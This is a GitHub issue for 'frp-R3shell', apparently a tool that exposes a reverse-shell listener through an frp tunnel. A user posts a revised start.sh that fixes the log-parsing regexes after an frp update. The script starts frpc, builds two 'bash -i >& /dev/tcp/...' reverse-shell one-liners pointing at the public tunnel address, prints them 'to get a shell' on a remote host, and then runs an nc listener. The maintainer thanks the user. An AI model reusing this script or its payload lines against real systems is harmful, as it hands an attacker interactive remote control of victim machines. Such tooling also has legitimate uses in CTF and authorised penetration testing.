frp-R3shell icon indicating copy to clipboard operation
frp-R3shell copied to clipboard

frp更新后日志更改

Open wedidaprettygoodjobsofar opened this issue 1 year ago • 2 comments

linux的start.sh对于隧道的识别是这样的: tunnelInfoPattern="用 [(.+?):([0-9]+)] " ipInfoPattern="IP \S+: [(.+?):([0-9]+)]" 但是frp日志更新后,对于ip是这样描述的:

使用 >>xxx:31054<< 连接你的隧道
或使用 IP 地址连接: >>xx.xx:31054<<

导致不能正常匹配

我修改了一下start.sh,使它能正确的匹配

#!/bin/bash

# 如果未提供环境变量,退出
if [ -z "$FRPC_KEY_ID" ]; then
    echo "Error: FRPC_KEY_ID environment variable is not set"
    echo "Use export FRPC_KEY_ID=key:id to create the FRPC_KEY_ID environment variable."
    exit 1
fi

# 检查当前目录是否存在 frpc 可执行文件
if [ ! -x "./frpc" ]; then
    echo "Frpc kernel not detected, please download Linux version according to https://doc.natfrp.com/frpc/usage.html and rename it frpc and put it in the same directory as this script."
    exit 1
fi

LOGFILE="frpc_start.log"

# 启动 frpc
> "$LOGFILE"
nohup ./frpc -f $FRPC_KEY_ID &>> "$LOGFILE" &
echo "Waiting for frpc to start..." | tee -a "$LOGFILE"
sleep 4

# 检查日志文件内容
logFile="frpc_start.log"

if [ -s "$logFile" ]; then
    echo "FRPC log has been updated."
else
    echo "FRPC log is still empty."
fi

# 从日志文件中读取内容
logContent=$(cat "$logFile")

# 解析隧道信息
tunnelInfoPattern=">>(.+?):([0-9]+)<< 连接你的隧道"
ipInfoPattern="IP 地址连接: >>(.+?):([0-9]+)<<"
localPortPattern=" tcp -> 127\.0\.0\.1:([0-9]+)\]"

if [[ $logContent =~ $tunnelInfoPattern ]]; then
    tunnelDomain="${BASH_REMATCH[1]}"
    tunnelPort="${BASH_REMATCH[2]}"
    echo "[OK] Tunnel Domain: $tunnelDomain, Tunnel Port: $tunnelPort"
else
    echo "Error: Tunnel information not found."
fi

if [[ $logContent =~ $ipInfoPattern ]]; then
    tunnelIP="${BASH_REMATCH[1]}"
    tunnelPort="${BASH_REMATCH[2]}"
    echo "[OK] Tunnel IP: $tunnelIP, Tunnel Port: $tunnelPort"
else
    echo "Error: IP information not found."
fi
# 解析本地端口
if [[ $logContent =~ $localPortPattern ]]; then
    localPort="${BASH_REMATCH[1]}"
    echo "Local Port: $localPort"
else
    echo "Error: Local port not found."
fi


# 输出连接指令
if [[ -n "$tunnelDomain" && -n "$tunnelIP" && -n "$tunnelPort" ]]; then
    bashCommand1="bash -i >& /dev/tcp/$tunnelDomain/$tunnelPort 0>&1"
    bashCommand2="bash -i >& /dev/tcp/$tunnelIP/$tunnelPort 0>&1"
    echo "[OK] Use either of these commands on your remote host to get a shell:"
    echo $bashCommand1
    echo $bashCommand2
fi

# 启动 nc 监听本地端口
if [[ -n "$localPort" ]]; then
    nc -lvnp $localPort
fi

感谢您提供的更新,推荐您提交PR以在Contributors中留下记录新❤

ProbiusOfficial avatar Aug 25 '24 17:08 ProbiusOfficial